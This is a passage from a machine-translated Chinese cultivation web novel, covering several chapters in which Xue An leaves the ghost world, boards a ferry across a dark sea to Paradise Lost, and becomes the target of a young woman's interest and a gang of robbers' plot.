    Ye Hanshang didn''t object to it either, but looked at Xue An quietly, and sighed slightly after a while.


    "This is naturally okay. After all, you have helped me and the entire ghost world so much, but how long do you think this can be kept? After all... the empty masters in the depths of the heavens are not vegetarian!"


    Xue An smiled faintly, "I am not concealing my identity because I am afraid of those empty masters, but I don''t want to stun the snake! As for how long I can hide it..."


    "After I return from somewhere and investigate certain things, everything will come to my mind!"


    Ye Hanshang nodded, "Okay! If it is useful to me, just say hello, after all..."


    Ye Hanchang��s face showed a sneer smile, "You have disappeared for so long, and many people don��t know how to be in awe anymore. It just so happens that my hands are itchy recently, and I can also help you out and let these guys out. Bleeding!"


    Xue An smiled upon hearing the words, "Okay! I will call you by then!"


    "Then what should I do now?"


    "It''s very simple! Send out the announcement as you Mingjun!"


    "Announcement? What do you want to write then?" Ye Hanshang asked.


    "You don''t need to write too much, just explain the shocking changes in the ghost world today!"


    "it is good!"


    Ye Hanshang immediately began to prepare.


    Seal the magic hole sky.


    After hearing that Ling Cui and Song Jingyue, the two masters and apprentices, passed by here and informed everyone of the situation in the ghost world at that time, they never left.


    It''s not that the people who sealed the Devil''s Cave Sky didn''t let them go, but Wen Lingcui had his own ideas.


    As the head of a small faction, although she is weak, she still has vision.


    Therefore, she can naturally see that the ghost world is undergoing a period of drastic change.


    This kind of change is not known for good or bad, but at least it shows a direction.


    And if you want to get some benefits from this change, then you can''t go far as your master and apprentice.


    And where could it be more suitable than the closest place to the ghost world?


    Therefore, Wen Lingcui made an important decision immediately after much deliberation.


    Abandoning the previous martial arts, choose to re-root in the sealed magic cave.


    I have to say that this decision requires a lot of courage.


    But Wen Lingcui did it.


    And several big caves, including Mingxin Palace, also welcomed this, and specially allocated a mountain for their master and apprentice as a base.


    At this moment, their master and apprentice are practicing on this mountain.


    But at this moment, a faint ripple suddenly disturbed Wen Lingcui''s state of mind.


    She suddenly raised her eyes, and turned her head in horror to look in the direction of the ghost world.


    Song Jingyue also noticed the strangeness, and couldn''t help asking: "Master, what''s the matter?"


    Wen Lingcui shook his head solemnly, "I don''t know, but these shocking changes are obviously coming from the ghost world!"


    At this moment, I saw a sword light rising into the sky in the distant sky, and then it exploded.


    This is the people from Mingxin Palace calling everyone to go.


    "Let''s go! Let''s go and see!" Wen Lingcui gave an order and led Tuer Song Jingyue to fly to Fengmo Town.


    By the time it was here, everyone from all sides had arrived.


    The sword-holding elder of Mingxin Palace looked solemn, "Just now, everyone should have noticed the strangeness of the ghost world. Obviously, there has been an unknowable change. Now we don��t know whether this change is good or bad, but the lord has asked before leaving , Let us guard this realm, so we must prepare in advance, just in case!"


    Everyone nodded after hearing this.


    But Elder Shechem, the most grumpy elder in Mingxin Palace, said in an impatient manner: "Brother, I think it''s better to go into the ghost world and take a look. If someone encounters any difficulties, we can help. No!"


    Sheng Miaotong in the crowd changed his face when he heard the words, and then nodded.


    "Elder Shechem is right, and I think it should be!"


    But some people objected.


    "I don''t think this move is appropriate. After all, the lord said at the time that it would be good for us to guard this realm. If we act rashly, wouldn''t it be against the order of the lord?"


    "Then we just wait like that?" Shechem glared.


    For a time, the opinions were divergent, and everyone began to clamor.


    At this moment, a golden light suddenly fell from the sky, and then suspended in front of everyone.


    Immediately afterwards, a virtual image of Ye Hanshang appeared in the golden light.


    "I am Ye Hanshang, the underworld king of the ghost world, now the ghost world is resurrected, reincarnation is reinvented, and I want to tell you, don''t panic!"


    After that, the golden light shattered, leaving only the silence of the audience.


    It wasn''t until a long time later that the audience boiled over it.


    "Mingjun Ye Hanshang! God, he is Mingjun Ye Hanshang?"


    "Without even the slightest sign, this golden light descended in front of everyone out of thin air. It''s incredible divine power!" Someone exclaimed.


    But more people focused on the meaning revealed in Ye Hanshang''s words.


    Holding the sword face solemnly, "What does it mean that the ghost world is resurrected, and the reincarnation restarts?"


    The audience quickly calmed down, and everyone looked at each other, not knowing what they meant.


    At this moment, Wen Lingcui in the crowd stepped out and said in a deep voice, "I think I know what Master Mingjun means!"


    "Oh? Then talk about it!" Holding Jian''s eyes lit up, he asked quickly.


    Wen Lingcui took a deep breath, and then began to explain the meaning of reincarnation.


    She herself was born in a sect that practiced ghost clan exercises, and she naturally understood these.


    Everyone listened to her explanation, exclaiming from time to time.


    Sheng Miaotong is no exception. Her hands are gradually clenched together, and the palms are full of sweat, but there is only one thought in her heart.


    Why is there no sign of Xue An in such a big event? Could it be that he didn''t make a move? But is that possible?


    This is also a lot of people''s doubts, but since Mingjun personally issued a notice, these questions can only be deeply buried in my heart.


    In short, the entire Sealed Demon Cavern sky was completely boiling with this incident.


    At the same time, Ye Hanshang''s announcement spread all over the world, and an uproar was brewing quickly, and eventually swept the entire sky.

 Chapter 1550： The Lord of the Qiantian Court is surging

    Somewhere in the endless starry sky, there is a huge planet without friends.


    Its Tao is stable, and its aura is strong, not inferior to those Shenzong Great Religions in the depths of the void, and even compared with those ancient Great Religions.


    Despite this, the monks in the past did not dare to get close, but all walked around in awe.


    Because this planet is the place where Qiantianyuan is located among the heavens full of strong men.


    In the face of such a behemoth, ordinary monks naturally dare not show the slightest disrespect.


    now.


    On a mountain high into the starry sky, Shang Liang, the principal of Qiantianyuan, sat on the throne of Kowloon with a jade slip in his hand and was examining its contents.


    Silence in the hall.


    After a long time, Shang Liang just put down the jade slip in his hand, and a look of doubt appeared on his face.


    "Ye Hanshang? Isn''t this ancient Mingjun dead in the hands of that old guy Wei Li? Why did he suddenly resurrect? And he also reintegrated the ghost world and recreated reincarnation?"


    No one dared to speak, and many of his men bowed their heads in silence.


    Because they know that the host of their own home hates others when thinking.


    Once he interrupts his thoughts, there is only one dead end left for you.


    Shang Liang frowned slightly, and the boundless sea of ??clouds outside the hall was surging because of his irritability.


    Every move affects the state of heaven and earth, this is Shang Liang''s imperial king.


    Under this kind of power, the whole hall is even more quiet and terrifying.


    Shang Liang''s fingers tapped the armrest of the seat lightly. Suddenly, he seemed to have discovered something, and he gave a slight huh, and then picked up the jade slip again.


    "Alchemy hell? When did Ye Hanshang get involved with alchemy civilization again? No, there must be something strange in it!"


    A look of solemnity appeared on Shang Liang''s face.


    The sea of ??clouds outside the hall was then directly annihilated into nothingness by this faint killing intent.


    Even his men were pale.


    At this moment, a tall woman with an arrogant look came forward and Man said: "President, do you want me to investigate?"


    Shang Liang gave the woman a gentle look, then shook his head.


    "No need. Although Ye Hanshang is the immortal king''s cultivation base, he has disappeared for so long and has fallen behind too many heavens. It is not worthy of me to value too much! And I have a more important task to give you, so Let others do this!"


    The woman lowered her eyes when she heard this, "Yes!"


    After that, he bowed and retreated.


    Shang Liang waved his hand, and the jade in his hand collapsed into powder. Then he said lightly: "If the order goes on, send a few capable men to investigate the matter, and closely monitor the movement of the ghost world. If there is any abnormality, report it immediately. I know!"


    "Yes!" everyone in the hall bowed their heads.


    Not only Qiantianyuan, but also some big sects closer to the ghost world, after knowing this news, they were also shocked.


    However, many of the sects did not have a fairy king, so they could only secretly restrain their subordinates and strictly ordered them not to provoke people from the ghost world.


    And those sects with strong immortal kings in the faction have different performances.


    Some did not take it too seriously, thinking that it was just the return of the disappeared strong, which is not worth mentioning.


    But there are still some sects that are similar to Qiantianyuan. They all saw some strangeness from this incident, and then began to investigate secretly.


    Under this situation, a dark tide began to surge in the heavens.


    Xue An had anticipated this reaction, so he was not surprised.


    On the contrary, Ye Hanchang was a little worried.


    After drinking a cup of hot tea, he finally couldn''t help but said, "Are you really planning to leave so soon?"


    "Yeah, is there any problem?" Xue An fiddled with the silver charcoal in the furnace, and said lightly without raising his head.


    Ye Hanchang hesitated to speak several times, and finally sighed, "Really old Xue, after knowing where you are going next, I really sweated for you!"


    Xue An raised his head and smiled at him when he heard the words, "It''s as if it''s Longtan Tiger''s Den!"


    Ye Hanchang''s complexion became serious, "Compared with that, what is Longtan Tiger''s Den? After all...that is the dark holy land that everyone talks about among the heavens!"


    Xue An smiled, "Yes! A piece of space outside the heavens, there is no rule at all! The holy land of fanatics, dark... Paradise Lost!"


    Ye Hanchang showed a deep worry, "Old Xue, I really don''t want to persuade you, but since you know all this, why do you have to go to this muddy water?"


    Xue An shook his head, "It''s not about wading in the muddy water, but now that all the clues point to it, I have to go! Not to mention..."


    A gentle look appeared in Xue An''s eyes, "I have a friend there too!"


    "friend?"


    Xue An nodded, "Yes! Friend!"


    Ye Hanchang was a little silly, "Why didn''t I know you still have friends in the dark paradise lost?"


    Xue An smiled, "Of course you don''t know, because she went to the Dark Paradise Lost Paradise after I was born again!"


    Ye Hanshang was silent for a moment, and finally asked, "Are you a good friend?"


    "Of course! Actually I originally planned to go to Paradise Lost in Darkness first, but for various reasons, it has been delayed until now, but now, I have to go! Because..."


    A chill flashed in Xue An''s eyes, "Qian Xirui, the little girl who was captured by Wei Li, was also sent into the dark paradise lost. I promised her mother that she must be rescued!"


    "Under all kinds of opportunities, do you think I can not go?" Xue An asked with a smile.


    Ye Hanshang was silent for a moment, and suddenly said: "Why don''t you wait for me for a while I will deal with the ghost world, and then go with you..."


    Xue An waved his hand and said with a smile: "No need, I will take your mind, but the ghost world is initially set, and you have announced the Quartet. Nowadays, I don''t know how many eyes are staring here in the heavens. It''s fine for you to sit here, if you leave, you still don''t know what moths will come out!"


    "But your cultivation..." Ye Hanshang didn''t finish his words, but the meaning was already obvious.


    Although Xue An''s strength cannot be divided by the ordinary realm, after all, he has only recovered to Da Luo Xiu.


    Although this cultivation base is considered good when placed in the heavens, it is still not enough to be seen in the dark paradise lost by the strong.


    After all, there is a place of exile among the heavens, and countless strong men who have provoke the anger of the sky for various reasons and can''t get along outside have all fled there.


    So there is also called the dark side of the heavens.


    What''s more, when Xue An was the Immortal Venerable, he eliminated and sealed a large number of powerful men. Although this made Xue An''s supreme reputation, it also made him offend many people invisibly.

 Chapter 1551： Go to

    Many of the teachers or relatives of those strong men are lost in the dark paradise. If they learn about Xue An''s status quo, they will definitely be impatient.


    At that time... But misfortune will be unpredictable.


    This is why Ye Hanshang is so worried.


    Xue An smiled slightly when he saw it, then picked up the already boiling teapot, filled a cup of tea, and sipped it lightly, then said lightly.


    "I know you are worried about me, but you don''t have to think there is too scary, after all, for me, if I want to leave, there is nothing in this world that can really trap me! Not to mention..."


    There was a hint of interest in Xue An''s eyes, "There, I have an old acquaintance!"


    Ye Hanshang wanted to speak again, and finally sighed, knowing that persuasion was useless, so he raised the teacup in his hand at Xue An, and said, "Old Xue, since this is the case, then I won''t say more. To you, I wish you a good journey!"


    Upon seeing this, Xue An also smiled and raised his cup, "Thank you! When I come back again, let''s talk about the wine together!"


    "Okay! I''ll wait for you!" Ye Hanshang said very solemnly.


    After saying a word, the atmosphere of the audience suddenly became strange.


    Xue An coughed slightly, "Although I know you are kind, please try to make it clear when you say this in the future, otherwise readers will really think there is something between us!"


    Ye Hanshang: "..."


    Now that he had decided to leave, Xue An did not stay too much.


    What''s more, everything in the ghost world has been taken care of now, and while the spy from the heavens has not yet projected in, so after three days, Xue An quietly moved.


    Few people in the entire ghost world knew that he was leaving, but Ye Hanshang was the only one to see him off.


    "Brothers have a good journey!" Ye Hanchang patted Xue An''s shoulder lightly, and said in a deep voice.


    Xue An��s expression also became a little solemn, "Han Chang, there is something I need to tell you! The reason why I have worked so hard to recreate samsara is not just to save the ghost world. It is also of great significance to the heavens, so you must take good care of you!"


    Ye Hanshang nodded solemnly, "Don''t worry, I swear in the name of the fairy king, I will definitely not let anyone get involved in this world!"


    "Well, I''ll go too!"


    After that, Xue An patted Ye Hanchang on the shoulder, and then the whole person turned into a streamer, rose up into the sky, and instantly penetrated the sky and disappeared.


    And just as his front foot left, Meng Yao hurried over.


    It''s a pity that she came a step late, only seeing the trail of light in the sky, she couldn''t help but thumped and sat on the ground, crying out in tears.


    "grown ups!"


    Ye Hanshang sighed when he saw it, then raised his eyes to look at the huge hole in the sky that was re-closing, and whispered softly: "Although you said it is very easy, how can it be that dark paradise is so simple?"


    Xue An didn''t know what happened after he left. At this moment, he had already passed through the iron net mountain barrier and came to the outside world.


    When passing through the Sealed Demon Cave, Xue An slightly hesitated, and then slowed down a bit, sensing everything below.


    Although the town of Enchanted Demons had undergone earth-shaking changes at this moment, there was no change on the surface, and it was still the same as before.


    Under Xue An''s huge divine consciousness, everything here is invisible.


    He could clearly perceive that the elders of Mingxin Palace were teaching their disciples to practice swordsmanship, and the people of Jinding Pavilion were studying runes with people from Xiangsiyuan and other caves.


    Xue An also sensed several familiar figures in it.


    For example, Sheng Miaotong, this girl is no longer the arrogant daughter of the old lady, she has become a lot more mature, and she is meticulously arranging her formation.


    But what surprised Xue An most was Wen Lingcui and Song Jingyue, the two masters and apprentices.


    Unexpectedly, the two of them also settled in the Sealed Demon Cave.


    In short, the entire Enchanted Demon Cave is a thriving scene.


    Xue An nodded in satisfaction when he saw this, no matter what, these people did not live up to their expectations.


    So he didn''t hesitate anymore, he accelerated suddenly and disappeared into the sky instantly.


    And just at the moment he passed through the Sealed Demon Cave.


    Many people raised their heads with feelings, and looked at the sky with all doubts.


    "What''s going on? This familiar feeling is..." The elders of Mingxin Palace looked at each other, their expressions all changed.


    "Is it... an adult?" Shechem asked with a trembling voice.


    Holding the sword, he nodded solemnly, "It shouldn''t be wrong!"


    "Since you are an adult, why didn''t you show up?" Ting Jian couldn''t help asking.


    "Perhaps... the adults just pass by here occasionally!" Holding the sword smiled bitterly.


    Everyone was silent.


    After a while, Shechem solemnly bowed in the direction of Xue An''s disappearance.


    Shechem has tremendous respect for Xue An, who saved his life.


    At this moment, Sheng Miaotong was also looking at the sky blankly, the pen in his hand fell silently, and he whispered, "Is that you?"


    Then a wry smile appeared on her face, "Unexpectedly, I even became a luxury when I saw you!"


    Even Wen Lingcui, master and apprentice, felt a little strange, Song Jingyue retracted her gaze from the distant sky, and asked softly, "Master, is that adult?"


    "Can''t go wrong!" Wen Lingcui''s face was full of awe.


    "Then what is he going to do in such a hurry?" Song Jingyue asked curiously.


    Wen Lingcui shook his head, "I don''t know, I don''t want to know either! Because of their existence at that level, we had better be less curious and more awed!"


    "Oh!" Song Jingyue squashed her mouth, and responded in a low voice, but her eyes still drifted to the distant sky from time to time.


    Just when the entire Sealed Devil Cave sky was boiling because of Xue An''s passing by, Xue An had already traversed many spaces in his body and embarked on a long journey to the dark paradise lost ~ www.novelhall.com~ For today''s Xue An In terms of time and space turbulence, he hasn''t hurt him any more, so in addition to a bit harder, he won''t encounter any danger.


    Compared with these, Xue An is more concerned about how not to lose his way in such a vast sky.


    After all, Xue An only has a fuzzy coordinate for the Dark Paradise Lost.


    In fact, the reason why Xue An decided to go to Paradise Lost in the Dark, apart from the reasons mentioned earlier, was also because it was not too far away from the ghost world.


    But this is not too far away compared to the distance among the heavens, which is easily calculated by hundreds of millions of miles of light.


    For individuals, it is still an extremely long and long journey.


    at last.


    After crossing the body for a full month, a black territory that was too large to describe in words suddenly appeared in front of Xue An.


    Paradise Lost in the Darkness is here!

 Chapter 1552： Ferryman on the Dark Sea

    Xue An stared at the calm and dark sea in front of him, and slowly exhaled.


    He knew that the real Paradise Lost was not here at all, but in the deepest part of the darkness.


    But to enter it, you must first pass through this endless sea of ??darkness.


    This sounds simple, but it is extremely dangerous.


    Because under the seemingly peaceful surface of this dark place, there is infinite murderous intent.


    If there is no one to guide you and break into it rashly, you will easily lose your way and eventually disappear.


    In fact, since ancient times, there have been unknowingly how many strong people have fallen into the darkness.


    This also once made this a taboo place.


    But now the situation has changed a bit.


    Because the reputation of Paradise Lost in the Darkness has grown more and more over the years, more and more powerhouses have defected.


    This dark sea also became lively.


    However, many of them were unable to enter, so a new profession was born.


    That is the ferryman who specializes in this dark sea and earns a lot of commissions by bringing people into the lost paradise.


    You must know that those who can reach the Lost Paradise not far from the billions of light domains are basically the powerhouses of all parties desperate.


    These people are often very valuable, and they are willing to pay high prices to survive, so in a few years, these ferrymen have made a lot of money.


    This is often the case, and there will be business opportunities when there is demand.


    Soon, these ferrymen upgraded their equipment, and instead of leading people across the sea alone, they started to purchase manned flying boats, which would improve comfort and bring more people.


    Under this fierce competition, the edge of this dark sea also showed a kind of abnormal prosperity.


    Like now.


    When Xue An flew a certain distance around the edge of the Dark Sea, he found a small dock in front of him.


    It is said that it is a small wharf, but the scale is not too small, and the crowds on the platform are obviously very lively.


    With a slight movement in Xue An''s heart, he flew straight over and landed on the dock.


    As soon as his feet landed, someone greeted him with a smile on his face.


    "This lord, is he going to cross the dark sea?"


    Xue An nodded.


    The speaker''s eyes lit up, "Then you are here at the right time, and our flying boat will be back soon, just in time for this flight!"


    Xue An nodded noncommitantly, but looked around on this small dock.


    Although it��s not too big here, the sparrow is small and well equipped with all kinds of facilities, and even has a defensive array intimately set up so that those who are not strong enough to stay in the void for a long time can have a respite. .


    At this moment, many people have gathered on the dock.


    It can be seen that these people are basically strong people from all sides, and they are gathering together in small groups and talking about something in a low voice.


    And Xue An''s arrival also attracted their attention, and they cast their eyes over.


    When they saw a "plain" white-clothed teenager, these people''s eyes became a little strange.


    Among them, there are some fierce looks, and the man full of evil spirits gave out bursts of sneers.


    Those who can be forced into the dark paradise lost are basically people who are desperate.


    It cannot be said that there are no good people among these people, but they are basically lunatics outside the law.


    Xue An just smiled slightly at this, then turned his head and nodded slightly at the person who was still briefing him on the situation.


    "No introduction, book me a first class!"


    Hearing the words, the person immediately lit up, and then said with a smile: "No problem, it''s just..."


    Before he could say anything, Xue An threw a spar over.


    "This is fixed money, is it enough?"


    This is a pure and clear spiritual crystal without the slightest flaw.


    Such high-quality spirit crystals are naturally valuable.


    Therefore, as soon as this spar appeared, it immediately attracted everyone on the dock.


    This old man was also surprised by Xue An''s "big handwriting", but he was obviously very cautious, and he nodded solemnly until after carefully examining the value of the spirit crystal.


    "Don''t worry, honorable lord, I will do it for you!"


    As he said, he winked at the people next to him, and soon a charming girl brought a seat and tea.


    Xue An was not polite, and just sat down.


    At the same time, many people looked at Xue An and turned a little gloomy.


    Some of them even quietly discussed something with the people around them.


    But Xue An didn''t care about these at all.


    He also knew that this spirit crystal was a bit dazzling when he took it out, but he had searched too many treasures from Li Hen Tianjun, compared with this spirit crystal is too inconspicuous.


    So he didn''t bother to hide anything, so he took it out.


    As for whether anyone is thinking about it...


    In fact, Xue An doesn''t mind having some fun during the long journey.


    The person who introduced Xue An did not lie. Before Xue An''s cup of tea was finished, a huge flying boat appeared in the distant void.


    This flying boat slowly passed by in the darkness, and flew towards the pier seemingly slow and fast.


    A moment''s sight.


    The flying boat came to the side of the dock, and then slowly opened the hatch.


    The dear friend who had briefed Xue An on the situation before came over again and greeted him graciously: "My lord, this is the flying boat we used for the ferry. Since you have booked the first class cabin, please get on board!"


    Xue An was noncommittal and stepped onto the flying boat.


    This flying boat was obviously written by everyone, and countless runes were carved on the hull.


    So even though it looks huge enough on the outside, the space inside is several times larger.


    Especially the first-class cabin area set by Xue An is even more magnificent and extremely luxurious.


    "Honorable lordAre you satisfied with it?" The man who led Xue An and said with a smile.


    Xue An nodded, then threw another spiritual crystal.


    "this is yours!"


    This person hurriedly took it, then his face bloomed with a smile, and he bent down deeply.


    "Thank you for your reward!"


    However, he did not leave after saying this. Instead, he hesitated a little. Then he stepped forward and lowered his voice and said, "My lord, if you encounter any problems during the voyage, you can go to the chief mate on the boat and say you It was brought by Abao, and he will give you some help!"


    Xue An smiled, "Thank you!"


    "May you have a pleasant journey!" Abao smiled slightly, then turned away.


    Soon, almost everyone on the pier got on the boat.


    However, there was an episode during this period. There was a burly cultivator who seemed to be refining the body and had a dispute with Abao and others.

 Chapter 1553： Long journey

    I saw him roaring angrily: "You are robbing, aren''t you just sitting on a broken ship? Why is it so expensive?"


    Abao still smiled, "I''m sorry, my lord, this price is like this, if you think it''s expensive, you don''t need to sit!"


    After that, the Leopard turned around and left.


    "No, grandpa, I''ve already come here, can I go back? So today you let me sit, and you don''t let me sit!"


    As he said, this sturdy man slapped Abao''s back with an angry palm.


    But at this moment, a black shadow appeared silently behind Abao, and then slapped the brawny man.


    boom!


    After a loud noise, the burly man trembled violently, and then he was blasted out in horror until he hit the defensive circle with a thump before falling to the ground.


    At this time, Abao turned his head and sneered at the strong man on the ground, "I really don''t know that the sky is so high and the earth is thick, I actually ran to the sea of ??darkness to play majesty? Take away!"


    With an order, two people came up from behind Abao, dragging the brawny man away like a dead dog.


    Ah Bao smiled at everyone on the boat, and then left with Shi Ran.


    But many people on the boat couldn''t help but get nervous.


    Because the strength of the sturdy man just now is not too high, only true immortal cultivation, but physical cultivation is an extremely difficult monk. Although cultivation is extremely difficult, once he achieves something, he is called the same level. Invincible.


    Such a strong man was killed in seconds without even touching the corner of Abao''s clothes.


    And looking at what he looks like now, this sturdy man is obviously more ugly than good.


    How can this not make everyone frightened.


    At least there are many powerhouses who are used to being arrogant in their respective territories, and their complexions at the moment have become extremely ugly.


    Xue An naturally saw this scene too, but his face was as calm as ever, only a faint smile appeared after a long time.


    "interesting!"


    The storm was over. Everyone got on the flying boat, the cabin slowly closed, and then the flying boat slowly turned its head and flew into this dark sea.


    This is a long journey.


    Although the speed of the flying boat is very fast, it is still weak compared to the vastness of this dark sea.


    Xue An is not in a hurry, and the facilities in the first-class cabin are very complete and luxurious. As long as you can think of, there are almost all here.


    Even Mi Ji Jiao maidservants are readily available.


    But Xue An had never seen these at all. Most of the time, he was sitting in front of the porthole, staring at the darkness outside.


    But even though he didn''t do anything deliberately, someone still noticed him.


    Xia Qi suddenly realized that she couldn''t understand the boy in white.


    On the dock, when she saw Xue An threw out two superb spirit crystals, she thought this was another arrogant and pushy guy.


    After all, who would a normal person expose money in such a place?


    But never expected that when he was on the flying boat, the white-clothed boy was not as drunk as he imagined.


    On the contrary, he mostly sits quietly in front of the window, his eyes are far away, and he doesn''t know what he is thinking.


    Xia Qi admitted that she was a little moved.


    I don''t know if it is because of Xue Jinging''s indifferent and outstanding temperament when he is silent, or because of his stunningly handsome profile when he looks out the window.


    To be honest, most of the monks were handsome men and beautiful women.


    After all, when you have a strong power, changing your face is simply a simple matter.


    Xia Qi also thought that she was tired of seeing it, but after seeing Xue An, she suddenly found that her previous thoughts were a bit narrow.


    How can that natural temperament be comparable to a face modified by acquired secret methods?


    At the same time, Xue An''s disdain for the maidservants Mei Ji Jiao who rely on her enchanting posture to make money, also made Xia Qi more and more affectionate.


    Only [Yunxuange Novel Network www.yxgks.vip], she never knew how to approach this boy in white.


    Because in many cases, even though he was sitting there, he felt very far away, making people afraid to approach.


    It wasn''t until three days later that everyone on the flying boat gradually relaxed and the atmosphere became more relaxed. Xia Qi just mustered up the courage and stepped forward to Xue An.


    "Hello! May I sit here?" Xia Qi said in a trembling voice.


    Xue An retracted his gaze from the window and raised his eyes to look at Xia Qi.


    Today''s Xia Qi has been specially dressed up, and the face that is already pure and refined is even more delicate.


    Xue An raised his eyebrows slightly, intending to refuse, but at this time Xue An read a trace of panic in the girl''s eyes, couldn''t help but startled slightly, and then nodded.


    "Please!"


    Xia Qi secretly took a breath, and then she was shocked to see sweat on her nervous palms, and then she sat opposite Xue An.


    Xue An did not speak, but turned his head and looked out the window again.


    This couldn''t help making Xia Qi feel a deep sense of frustration.


    what happened? Could it be that I am not as good as the dark night sky? It''s so annoying.


    Xia Qi bit her lip bitterly, and summoned her courage to say: "My lord, what are you looking at?"


    Xue An frowned slightly. He didn''t like being interrupted when he was thinking, but out of politeness, he still said lightly.


    "It''s nothing, just observing where you have gone now!"


    Xia Qi was startled slightly, "Can you see it?"


    "Of course! It can be clearly distinguished by the scenery outside the window!" Xue An said without looking back.


    Xia Qi also looked out the window when she heard this, but she could not see anything except the dark night sky, and she couldn''t help but doubt life.


    "But where is the view here?"


    Xue An smiled, "If you look closely, you can see that when you just started the journey, the black outside was mixed with gray light, but the more you fly in, the more pure the darkness becomes. A color that is almost black!"


    Xia Qiyiyan stared at her earnestly for a while, but she couldn''t see the difference until her eyes were sore.


    This made her feel deeply frustrated Could it be that she was too stupid?


    Or is this boy in white just fooling himself?


    Seemingly aware of Xia Qi''s doubts, Xue An turned his head and smiled at her.


    "You can tell if you calm down and take a closer look!"


    Xia Qi nodded, and then there was another silence.


    It was not until a long time later that Xia Qi suddenly remembered something, and raised her head and said: "My lord, my name is Xia Qi!"


    Xue An was noncommittal, "Oh!"


    Oh?


    Xia Qi opened her eyes wide!


    What does this mean?


    Shouldn''t he introduce himself at this time?


    Xia Qi felt such a heavy frustration for the first time in her life.

 Chapter 1554： Unremarkable

    There was another silence, and then Xia Qi said embarrassingly: "My lord, you...what are you going to do in Paradise Lost?"


    Xue An turned his head and glanced at her when he heard the words, smiled, but said nothing.


    Xia Qi understood at once, and quickly explained: "My lord, don''t get me wrong, I don''t mean anything else!"


    You must know that in this place, it is extremely taboo to inquire about the origin of people.


    Because those who can come here are basically desperate. In this case, no one wants to mention their past.


    Therefore, Xia Qi was very upset and scolded herself as an idiot, asking such stupid questions without going through her brain.


    But I was not like this before. Could it be that my head was amused after I met this boy?


    Xia Qi said to Xue Anyan very seriously while calculating.


    "My lord, I''m not telling you! I''m from the Wuwangya Xia family. This time I came back from going out to do errands, so if you have no friends in Paradise Lost, you can stay in my Xia family temporarily!"


    After all, Xia Qi looked at Xue An with fiery eyes.


    Xue An smiled slightly, "Wu Wangya?"


    "Yes!"


    You must know that this black area spans tens of thousands of light areas. Such a vast area naturally cannot be the place where Paradise is lost.


    In fact, the true paradise lost is only in the most central position, and those who can enter it are the supreme powerhouses.


    However, because of the increasing popularity of Paradise Lost in recent years, the number of people coming here has gradually increased, which has also led to the emergence of many new cities around the Lost Paradise.


    Wuwangya is one of them.


    And because of the convenient transportation, this Wuwangya is considered powerful in many cities.


    Therefore Xia Qi will be proud of her face.


    In her opinion, whenever the white-clothed boy weighed the pros and cons, he would agree to his invitation without hesitation.


    After all, the Xia family can be considered a powerful one in Wuwangya.


    With this place to stay, it is much better than those who are helpless, and become members of the bottom of other gangs after entering Wuwangya.


    Unexpectedly, Xue An was not interested in these at all, shook his head lightly, and then said lightly: "No need!"


    The smile on Xia Qi''s face froze instantly.


    She didn''t expect Xue An to refuse, so she was caught off guard, she was stunned for a few seconds, and finally said in a bit of surprise: "My lord, you..."


    Xue An waved his hand, "Sorry, I am not interested in any family or gang! So thank you for your kindness!"


    Having said that, Xue An stood up and left without paying attention to Xia Qi who was sitting there.


    Xia Qi sat there, looking at Xue An''s back, her expression was complicated, she didn''t know what she was thinking.


    At this moment, a calm middle-aged man quietly appeared behind Xia Qi, and said in a deep voice: "Miss, do you want to investigate this young man?"


    Xia Qi shook her head and whispered softly: "No, everyone has their own ambitions. Since he is not willing, let him go!"


    The middle-aged man lowered his head and replied, "Yes!"


    And at this moment, somewhere in the flying boat, a few monks with ferocious faces gathered together and they were whispering something.


    "Brother Liu, you haven''t seen it, the big one is just like a fist, and it''s transparent and clear, with extremely high quality!" said a monk with a sharp-mouthed monkey cheek.


    "That''s right, and just such a valuable spirit crystal, that young man will have two when he shoots, and he still looks indifferent. Obviously, his family is very thick!" A triangulated monk next to him agreed.


    "The most important thing is that this young man looks mediocre, and his cultivation level is not high. It should be because of some reason that he came here, so he is a rare fat sheep!" The monk with the pointed mouth monkey cheeks smiled sullenly. Words.


    Sitting in the center is a burly, gloomy man.


    He quietly listened to the reports from his followers, without saying a word.


    He didn''t laugh gloomily until everyone had finished talking.


    "It''s kind of interesting, according to what you said, this guy has good stuff hidden in him?"


    "You can''t go wrong with Brother Liu, I can pack a ticket for you, this guy must have something good!" Triangle Eye said hurriedly.


    "Yeah, Brother Liu, don''t come again when the opportunity is not to be missed, this fat sheep can''t let him run away!" The pointed-mouth monkey gill also hurriedly echoed.


    But this brother Liu was hesitant at the moment, "It sounds very reliable, but this young man can have such a wealthy family, don''t be a child of a big school or a big family!"


    All of them are from the same star field, and they usually rely on robbing their homes and sap on their backs to make a living, but one time they survived, they unexpectedly attacked a direct disciple of their star field, and Looted everything on him.


    This can be regarded as stabbing a hornet''s nest. Under the full pursuit of this big faction, a few of them have no way to go to the sky, and they have no choice but to run to this dark paradise lost to take refuge.


    Because of this, the boss, Liu Ge, has become so cautious.


    After all, after being bitten by a snake for ten years, are you afraid of well rope?


    Hearing the boss say so, these people also showed hesitation.


    But soon, a sullen look appeared in the triangular eyes, "Boss, if we put it in other places, we will be afraid of it, but we are going to the dark paradise lost soon, and we are afraid of these rules. Even if he is really some kind of big boy, isn''t he the same fat sheep here?"


    "Yes, Brother Liu, after buying the ferry tickets, we don''t have much money now. If we don''t want to make some extra money, wouldn''t it be a crime even if we go inside?" The monk with the sharp-mouthed monkey cheeks also began to sullen.


    Brother Liu''s complexion gradually became gloomy There was also a look of greed in his eyes, and then he slapped his thigh suddenly, "Mom, I can''t do it with the timid general, let it go!"


    When the boss spoke, all these people became excited.


    "Boss, when shall we do it?"


    "It should be sooner rather than later. Since you decide to do it, don''t hesitate! You two should first find out the whereabouts of this guy. If the time is right, you''d better do it tonight!"


    "understand!"


    Naturally, these monks couldn��t afford the first-class tickets. In fact, they were chased down and almost took their trousers. Even the money for the tickets was finally collected, so they bought all of them. It is the ticket for the bottom of the boat.


    It stands to reason that it is impossible for them to enter the first class area.


    But this can''t trouble these guys.


    After they changed their disguise, they turned into beautifully dressed gangsters in a blink of an eye, and then arrogantly headed to the top cabin.

 Chapter 1555： Take advantage of the fire

    The person in charge of the inspection on the flying boat didn''t notice anything unusual, so they let them in easily.


    At this moment, a small dinner party was being held on the top deck of the flying boat, and all first-class passengers were invited.


    Therefore, a few of them simply rushed here.


    When they stepped into the dinner venue, they couldn''t help being stunned by the magnificent sight.


    "Fuck me, compared to this place, the place where we live is almost like a doghouse!" The monk with the sharp-mouthed monkey cheeks whispered in jealousy.


    "Hush, don''t talk! Brother Liu, that''s the one sitting in the corner!" Don''t look at the triangular eyes, but they are definitely good. A glance saw Xue An sitting in the corner drinking tea.


